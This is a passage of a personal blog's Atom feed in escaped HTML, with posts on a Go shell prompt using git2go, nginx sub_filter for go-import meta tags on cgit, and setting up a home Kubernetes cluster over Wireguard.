&lt;code&gt;cwd&lt;/code&gt;, and the&#xA;home directory &lt;code&gt;home&lt;/code&gt;. We first check if &lt;code&gt;cwd&lt;/code&gt; starts with &lt;code&gt;home&lt;/code&gt;, i.e.&#xA;we&amp;rsquo;re in a subdirectory of &lt;code&gt;home&lt;/code&gt;; if yes, trim &lt;code&gt;home&lt;/code&gt; from &lt;code&gt;cwd&lt;/code&gt;, and&#xA;replace it with a tilde &lt;code&gt;~&lt;/code&gt;. We now have &lt;code&gt;~/docs/books/foo.epub&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that we return the path as-is if we&amp;rsquo;re not in a subdir of&#xA;&lt;code&gt;home&lt;/code&gt;&amp;mdash;i.e. paths under &lt;code&gt;/&lt;/code&gt;, like &lt;code&gt;/usr&lt;/code&gt;, etc. I like to see these&#xA;completely, just to be sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then split the path at &lt;code&gt;/&lt;/code&gt;&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, and truncate each item in the&#xA;resulting list&amp;mdash;except for the last&amp;mdash;down to the first character.&#xA;Join it all together and return the resulting string&amp;mdash;we have&#xA;&lt;code&gt;~/d/b/foo.epub&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up: color.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;var (&#xA;&#x9;red = color(&amp;quot;\033[31m%s\033[0m&amp;quot;)&#xA;&#x9;green = color(&amp;quot;\033[32m%s\033[0m&amp;quot;)&#xA;&#x9;cyan = color(&amp;quot;\033[36m%s\033[0m&amp;quot;)&#xA;)&#xA;&#xA;func color(s string) func(...interface{}) string {&#xA;&#x9;return func(args ...interface{}) string {&#xA;&#x9;&#x9;return fmt.Sprintf(s, fmt.Sprint(args...))&#xA;&#x9;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;hellip; I&amp;rsquo;ll just let you figure this one out.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;git-branch-and-clean-dirty-info&#34;&gt;git branch and clean/dirty info&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The defacto lib for git in Go is often&#xA;&lt;a href=&#34;https://github.com/go-git/go-git&#34; rel=&#34;nofollow&#34;&gt;go-git&lt;/a&gt;. I don&amp;rsquo;t disagree that it is&#xA;a good library: clean APIs, good docs. It just has one huge issue, and&#xA;especially so in our case. It&amp;rsquo;s &lt;code&gt;worktree.Status()&lt;/code&gt; function&amp;mdash;used to&#xA;fetch the worktree status&amp;mdash;is &lt;a href=&#34;https://github.com/go-git/go-git/issues/327&#34; rel=&#34;nofollow&#34;&gt;awfully&#xA;slow&lt;/a&gt;. It&amp;rsquo;s not noticeable&#xA;in small repositories, but even relatively large ones (~30MB) tend to&#xA;take about 20 seconds. That&amp;rsquo;s super not ideal for a prompt.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative? &lt;a href=&#34;https://github.com/libgit2/git2go&#34; rel=&#34;nofollow&#34;&gt;libgit2/git2go&lt;/a&gt;, of&#xA;course! It&amp;rsquo;s the Go bindings for libgit2&amp;mdash;obviously, it requires CGo,&#xA;but who cares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First things first, let&amp;rsquo;s write &lt;code&gt;getGitDir&lt;/code&gt; to find &lt;code&gt;.git&lt;/code&gt; (indicating&#xA;that it&amp;rsquo;s a git repo), and return the repository path. We&amp;rsquo;ll need this&#xA;to use git2go&amp;rsquo;s &lt;code&gt;OpenRepository()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Recursively traverse up until we find .git&#xA;// and return the git repo path.&#xA;func getGitDir() string {&#xA;&#x9;cwd, _ := os.Getwd()&#xA;&#x9;for {&#xA;&#x9;&#x9;dirs, _ := os.ReadDir(cwd)&#xA;&#x9;&#x9;for _, d := range dirs {&#xA;&#x9;&#x9;&#x9;if &amp;quot;.git&amp;quot; == d.Name() {&#xA;&#x9;&#x9;&#x9;&#x9;return cwd&#xA;&#x9;&#x9;&#x9;} else if cwd == &amp;quot;/&amp;quot; {&#xA;&#x9;&#x9;&#x9;&#x9;return &amp;quot;&amp;quot;&#xA;&#x9;&#x9;&#x9;}&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;cwd = filepath.Dir(cwd)&#xA;&#x9;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This traverses up parent directories until it finds &lt;code&gt;.git&lt;/code&gt;, else,&#xA;returns an empty string if we&amp;rsquo;ve reached &lt;code&gt;/&lt;/code&gt;. For example: if you&amp;rsquo;re in&#xA;&lt;code&gt;~/code/foo/bar&lt;/code&gt;, and the git repo root is at &lt;code&gt;~/code/foo/.git&lt;/code&gt;, this&#xA;function will find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alright, let&amp;rsquo;s quickly write two more functions to return the git branch&#xA;name, and the repository status&amp;mdash;i.e., dirty or clean.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Returns the current git branch or current ref sha.&#xA;func gitBranch(repo *git.Repository) string {&#xA;&#x9;ref, _ := repo.Head()&#xA;&#x9;if ref.IsBranch() {&#xA;&#x9;&#x9;name, _ := ref.Branch().Name()&#xA;&#x9;&#x9;return name&#xA;&#x9;} else {&#xA;&#x9;&#x9;return ref.Target().String()[:7]&#xA;&#x9;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This takes a &lt;code&gt;*git.Repository&lt;/code&gt;, where &lt;code&gt;git&lt;/code&gt; is &lt;code&gt;git2go&lt;/code&gt;. We first get&#xA;the &lt;code&gt;git.Reference&lt;/code&gt; and check whether it&amp;rsquo;s a branch. If yes, return the&#xA;name of the branch, else&amp;mdash;like in the case of a detached HEAD state&amp;mdash;we just return a short hash.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;// Returns • if clean, else ×.&#xA;func gitStatus(repo *git.Repository) string {&#xA;&#x9;sl, _ := repo.StatusList(&amp;amp;git.StatusOptions{&#xA;&#x9;&#x9;Show: git.StatusShowIndexAndWorkdir,&#xA;&#x9;&#x9;Flags: git.StatusOptIncludeUntracked,&#xA;&#x9;})&#xA;&#x9;n, _ := sl.EntryCount()&#xA;&#x9;if n != 0 {&#xA;&#x9;&#x9;return red(&amp;quot;×&amp;quot;)&#xA;&#x9;} else {&#xA;&#x9;&#x9;return green(&amp;quot;•&amp;quot;)&#xA;&#x9;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We use the&#xA;&lt;a href=&#34;https://godocs.io/github.com/libgit2/git2go/v31#Repository.StatusList&#34; rel=&#34;nofollow&#34;&gt;&lt;code&gt;StatusList&lt;/code&gt;&lt;/a&gt;&#xA;function to produce a &lt;code&gt;StatusList&lt;/code&gt; object. We then check the&#xA;&lt;code&gt;EntryCount&lt;/code&gt;, i.e., the number of modified/untracked/etc. files&#xA;contained in &lt;code&gt;StatusList&lt;/code&gt;.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; If this number is 0, our repo is clean;&#xA;dirty otherwise. Colored symbols are returned accordingly.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;putting-it-all-together&#34;&gt;putting it all together&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Home stretch. Let&amp;rsquo;s write &lt;code&gt;makePrompt&lt;/code&gt; to make our prompt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;const (&#xA;&#x9;promptSym = &amp;quot;▲&amp;quot;&#xA;)&#xA;&#xA;func makePrompt() string {&#xA;&#x9;cwd, _ := os.Getwd()&#xA;&#x9;home := os.Getenv(&amp;quot;HOME&amp;quot;)&#xA;&#x9;gitDir := getGitDir()&#xA;&#x9;if len(gitDir) &amp;gt; 0 {&#xA;&#x9;&#x9;repo, _ := git.OpenRepository(getGitDir())&#xA;&#x9;&#x9;return fmt.Sprintf(&#xA;&#x9;&#x9;&#x9;&amp;quot;\n%s (%s %s)\n%s&amp;quot;,&#xA;&#x9;&#x9;&#x9;cyan(trimPath(cwd, home)),&#xA;&#x9;&#x9;&#x9;gitBranch(repo),&#xA;&#x9;&#x9;&#x9;gitStatus(repo),&#xA;&#x9;&#x9;&#x9;promptSym,&#xA;&#x9;&#x9;)&#xA;&#x9;}&#xA;&#x9;return fmt.Sprintf(&#xA;&#x9;&#x9;&amp;quot;\n%s\n%s&amp;quot;,&#xA;&#x9;&#x9;cyan(trimPath(cwd, home)),&#xA;&#x9;&#x9;promptSym,&#xA;&#x9;)&#xA;}&#xA;&#xA;func main() {&#xA;&#x9;fmt.Println(makePrompt())&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There isn&amp;rsquo;t much going on here. Get the necessary pieces like the&#xA;current working directory, home and the git repo path. We return the&#xA;formatted prompt string according to whether we&amp;rsquo;re in git or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the prompt is simple. Point &lt;code&gt;PS1&lt;/code&gt; to the built binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;PS1=&#39;$(~/dotfiles/prompt/prompt) &#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here&amp;rsquo;s what it looks like, rendered:&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/boh7u.png&#34; alt=&#34;go prompt&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;benchmarking&#34;&gt;benchmarking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Both &amp;ldquo;benchmarks&amp;rdquo; were run inside a sufficiently large git repository,&#xA;deep inside many subdirs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To time the old bash prompt, I just copied all the bash functions,&#xA;pasted it in my shell and ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)&#xA;▲ time echo -e &amp;quot;\n$(prompt_pwd)$(git_branch)\n▲$(rootornot)&amp;quot;&#xA;&#xA;# output&#xA;~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)&#xA;&#xA;&#xA;real 0m0.125s&#xA;user 0m0.046s&#xA;sys 0m0.079s&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0.125s. Not too bad. Let&amp;rsquo;s see how long our Go prompt takes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)&#xA;▲ time ~/dotfiles/prompt/prompt&#xA;&#xA;# output&#xA;~/C/d/a/n/y/b/d/t/yaml-1.1 (master •)&#xA;&#xA;&#xA;real 0m0.074s&#xA;user 0m0.031s&#xA;sys 0m0.041s&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0.074s! That&amp;rsquo;s pretty fast. I ran these tests a few more times, and the&#xA;bash version was consistently slower&amp;mdash;averaging ~0.120s; the Go&#xA;version averaging ~0.70s. That&amp;rsquo;s a win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the entire source &lt;a href=&#34;https://git.icyphox.sh/dotfiles/tree/prompt&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;It&amp;rsquo;s a prompt &amp;ldquo;framework&amp;rdquo; thing that I actually only used for a&#xA; month or so.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;I don&amp;rsquo;t care about Windows. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;a href=&#34;https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0&#34; rel=&#34;nofollow&#34;&gt;https://git.icyphox.sh/dotfiles/commit/?id=e1f6aaaf6ffd35224b5d3f057c28fb2560e1c3b0&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&lt;p&gt;This took me a lot of going back and forth, and reading&#xA; &lt;a href=&#34;https://libgit2.org/libgit2/ex/HEAD/status.html&#34; rel=&#34;nofollow&#34;&gt;https://libgit2.org/libgit2/ex/HEAD/status.html&lt;/a&gt; to figure out.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:4&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Make cgit go gettable</title>
<updated>2021-07-14T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-07-14:blog/go-get-cgit</id>
<link href="https://icyphox.sh/blog/go-get-cgit"></link>
<summary type="html">&lt;h2&gt;go get git.icyphox.sh/* works!&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;go get&lt;/code&gt; requires the presence of the &lt;code&gt;go-import&lt;/code&gt; meta tag&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; on the&#xA;repository&amp;rsquo;s web page. cgit doesn&amp;rsquo;t support it out of the box; instead,&#xA;we can make nginx inject it into every page. Enter: &lt;code&gt;sub_filter&lt;/code&gt;.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_filter&lt;/code&gt; is a function that simply performs a string replace. For&#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nginx&#34;&gt;location / {&#xA; sub_filter &#39;&amp;lt;img src=dog.png&amp;gt;&#39; &#39;&amp;lt;img src=cat.png&amp;gt;&#39;;&#xA; sub_filter_once on;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In our case, we want to have the meta tag injected inside &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nginx&#34;&gt;server {&#xA; listen 443 ssl;&#xA; server_name git.icyphox.sh;&#xA;&#xA; location / {&#xA; ...&#xA;&#xA; sub_filter &#39;&amp;lt;/head&amp;gt;&#39;&#xA; &#39;&amp;lt;meta name=&amp;quot;go-import&amp;quot; content=&amp;quot;$host$uri git https://$host$uri&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;&#39;;&#xA; sub_filter_once on;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The closing &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag gets replaced&amp;mdash;injecting the meta tag inside&#xA;&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;. This can also be extended to add the &lt;code&gt;go-source&lt;/code&gt; meta tag as&#xA;well.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://godocs.io/cmd/go#hdr-Remote_import_paths&#34; rel=&#34;nofollow&#34;&gt;https://godocs.io/cmd/go#hdr-Remote_import_paths&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&lt;a href=&#34;http://nginx.org/en/docs/http/ngx_http_sub_module.html&#34; rel=&#34;nofollow&#34;&gt;http://nginx.org/en/docs/http/ngx_http_sub_module.html&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Setting up a multi-arch Kubernetes cluster at home</title>
<updated>2021-06-19T00:00:00Z</updated>
<id>tag:icyphox.sh/,2021-06-19:blog/k8s-at-home</id>
<link href="https://icyphox.sh/blog/k8s-at-home"></link>
<summary type="html">&lt;h2&gt;My self-hosted infra, given the cloud native™ treatment&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 2021&amp;ndash;07&amp;ndash;11&lt;/strong&gt;: It was fun while it lasted. I took down the&#xA;cluster today and probably won&amp;rsquo;t go back to using it. It was way too&#xA;much maintenance, and Kubernetes really struggles with just 1GB of RAM&#xA;on a node. Constant outages, volumes getting corrupted (had to &lt;code&gt;fsck&lt;/code&gt;),&#xA;etc. Not worth the headache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still remember my&#xA;&lt;a href=&#34;https://lobste.rs/s/kqucr4/unironically_using_kubernetes_for_my#c_kfldyw&#34; rel=&#34;nofollow&#34;&gt;Lobste.rs&lt;/a&gt;&#xA;comment, mocking some guy for running Kubernetes for his static blog&amp;mdash;it &lt;em&gt;is&lt;/em&gt; my highest voted comment after all. But to be fair, I&amp;rsquo;m not&#xA;running mine for a static blog. In fact, I&amp;rsquo;m not even hosting my blog on&#xA;the cluster; but I digress. Why did I do this anyway? Simply put: I was&#xA;bored. I had a 4 day weekend at work and with nothing better to do to&#xA;other than play Valorant, and risk losing my hard earned Bronze 2&amp;mdash;I&#xA;decided to setup a K8s cluster. These are the nodes in use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;fern&lt;/code&gt;: Raspberry Pi 4B (armhf, 4GB, 4 cores)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;jade&lt;/code&gt;: Oracle VM (amd64, 1GB, 1 core)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;leaf&lt;/code&gt;: Oracle VM (amd64, 1GB, 1 core)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The Oracle machines are the free tier ones. It&amp;rsquo;s great&amp;mdash;two static&#xA;public IPs, 50 gigs of boot volume storage on each + up to 100 gigs of&#xA;block volume storage. All for free.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Great for messing around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my RPi is behind a CG-NAT, I&amp;rsquo;m running a Wireguard mesh that looks&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/1Xkvh.png&#34; alt=&#34;wireguard mesh&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireguard is fairly trivial to set up, and there are tons of guides&#xA;online, so I&amp;rsquo;ll skip that bit.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setting-up-the-cluster&#34;&gt;setting up the cluster&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I went with plain containerd as the CRI. Built v1.5.7 from source on all&#xA;nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I considered running K3s, because it&amp;rsquo;s supposedly &amp;ldquo;lightweight&amp;rdquo;. Except&#xA;it&amp;rsquo;s not really vanilla Kubernetes&amp;mdash;it&amp;rsquo;s more of a distribution. It&#xA;ships with a bunch of things that I don&amp;rsquo;t really want to use, like&#xA;Traefik as the default ingress controller, etc. I know components can be&#xA;disabled, but I couldn&amp;rsquo;t be arsed. So, &lt;code&gt;kubeadm&lt;/code&gt; it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.4.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I&amp;rsquo;m going to be using Flannel as the CNI provider, I set the pod&#xA;network CIDR to Flannel&amp;rsquo;s default. We also want the Kube API server to&#xA;listen on the Wireguard interface IP, so specify that as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the &lt;code&gt;kubelet&lt;/code&gt; needs to be configured to use the Wireguard IP, along&#xA;with the correct &lt;code&gt;resolv.conf&lt;/code&gt; on Ubuntu hosts (managed by&#xA;&lt;code&gt;systemd-resolvd&lt;/code&gt;)&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;. This can be set via the &lt;code&gt;KUBELET_EXTRA_ARGS&lt;/code&gt;&#xA;environment variable, in &lt;code&gt;/etc/default/kubelet&lt;/code&gt;, for each node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;# /etc/default/kubelet&#xA;&#xA;KUBELET_EXTRA_ARGS=--node-ip=192.168.4.X --resolv-conf=/run/systemd/resolve/resolv.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nodes can now be &lt;code&gt;kubeadm join&lt;/code&gt;ed to the control plane. Next, we setup&#xA;the CNI. I went with Flannel because it has multi-arch images, and is&#xA;pretty popular. However, we can&amp;rsquo;t just apply Flannel&amp;rsquo;s manifest&amp;mdash;it&#xA;must be configured to use the &lt;code&gt;wg0&lt;/code&gt; interface. Edit &lt;code&gt;kube-flannel.yaml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-patch&#34;&gt;...&#xA; containers:&#xA; - args:&#xA; - --ip-masq&#xA; - --kube-subnet-mgr&#xA;+ - --iface=wg0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If everything went well, your nodes should now show as &lt;code&gt;Ready&lt;/code&gt;. If not,&#xA;well &amp;hellip; have fun figuring out why. Hint: it&amp;rsquo;s almost always networking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to un-taint your control plane so pods can be scheduled&#xA;on it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kubectl taint nodes --all node-role.kubernetes.io/master-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, set the &lt;code&gt;--leader-elect&lt;/code&gt; flag to &lt;code&gt;false&lt;/code&gt; in your control&#xA;plane&amp;rsquo;s&#xA;&lt;code&gt;/etc/kubernetes/manifests/kube-{controller-manager,scheduler}.yaml&lt;/code&gt;.&#xA;Since these are not replicated, leader election is not required. Else,&#xA;they attempt a leader election, and for whatever reason&amp;mdash;fail.&#xA;Horribly.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;getting-the-infrastructure-in-place&#34;&gt;getting the infrastructure in place&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The cluster is up, but we need to set up the core components&amp;mdash;ingress&#xA;controller, storage, load balancer, provisioning certificates, container&#xA;registry, etc.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;metallb&#34;&gt;MetalLB&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;LoadBalancer&lt;/code&gt; service type in Kubernetes will not work in a bare&#xA;metal environment&amp;mdash;it actually calls out to the respective cloud&#xA;provider&amp;rsquo;s proprietary APIs to provision a load balancer.&#xA;&lt;a href=&#34;https://metallb.universe.tf/&#34; rel=&#34;nofollow&#34;&gt;MetalLB&lt;/a&gt; solves this by well, providing&#xA;an LB implementation that works on bare metal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, it makes one of your nodes attract all the traffic,&#xA;assigning each &lt;code&gt;LoadBalancer&lt;/code&gt; service an IP from a configured address&#xA;pool (not your node IP). In my case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/zuy96.png&#34; alt=&#34;jade loadbalancer&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this assumes that our load balancer node has a public IP. Well&#xA;it does, but we&amp;rsquo;re still within our Wireguard network. To actually&#xA;expose the load balancer, I&amp;rsquo;m running Nginx. This configuration allows&#xA;for non-terminating SSL passthrough back to our actual ingress (up&#xA;next), and forwarding any other arbitrary port.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nginx&#34;&gt;stream {&#xA; upstream ingress443 {&#xA; server 192.168.4.150:443;&#xA; }&#xA;&#xA; upstream ingress80 {&#xA; server 192.168.4.150:80;&#xA; }&#xA;&#xA; server {&#xA; listen 443;&#xA; proxy_pass ingress443;&#xA; proxy_next_upstream on;&#xA; }&#xA; server {&#xA; listen 80;&#xA; proxy_pass ingress80;&#xA; proxy_next_upstream on;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;DNS can now be configured to point to this node&amp;rsquo;s actual public IP, and&#xA;Nginx will forward traffic back to our load balancer.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;nginx-ingress-controller&#34;&gt;Nginx Ingress Controller&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Once MeltalLB is setup, &lt;code&gt;ingress-nginx&lt;/code&gt; can be deployed. Nothing of note&#xA;here; follow their &lt;a href=&#34;https://kubernetes.github.io/ingress-nginx/deploy/&#34; rel=&#34;nofollow&#34;&gt;docs&lt;/a&gt;.&#xA;Each ingress you define will be exposed on the same &lt;code&gt;LoadBalancer&lt;/code&gt; IP.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;longhorn&#34;&gt;Longhorn&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Storage on bare metal is always a pain in the wrong place. Longhorn is&#xA;pretty refreshing, as it literally just works. Point it to your block&#xA;volumes, setup a &lt;code&gt;StorageClass&lt;/code&gt;, and just like that&amp;mdash;automagic PV/C&#xA;provisioning. Adding block volumes can be done via the UI, accessed by&#xA;portforwarding the service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kubectl portforward service/longhorn-frontend -n longhorn-system 8080:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There&amp;rsquo;s just one catch&amp;mdash;at least, in my case. They don&amp;rsquo;t have armhf&#xA;images, so all their resources need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;nodeSelector: kubernetes.io/arch=amd64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Consequently, all pods using a PVC can only run on non-armhf nodes. This&#xA;is a bummer, but I plan to switch the RPi over to a 64-bit OS&#xA;eventually. This cluster only just got stable-ish&amp;mdash;I&amp;rsquo;m not about to&#xA;yank the control plane now.&lt;/p&gt;&#xA;&#xA;&lt;h3 id=&#34;cert-manager&#34;&gt;cert-manager&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Automatic certificate provisioning. Nothing fancy here. Follow their&#xA;&lt;a href=&#34;https://cert-manager.io/docs/installation/kubernetes/&#34; rel=&#34;nofollow&#34;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;application-workloads&#34;&gt;application workloads&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We did &lt;em&gt;all&lt;/em&gt; of that, for these special snowflakes. I&amp;rsquo;m currently&#xA;running:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://radicale.org&#34; rel=&#34;nofollow&#34;&gt;radicale&lt;/a&gt;: CalDAV/CarDAV server&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 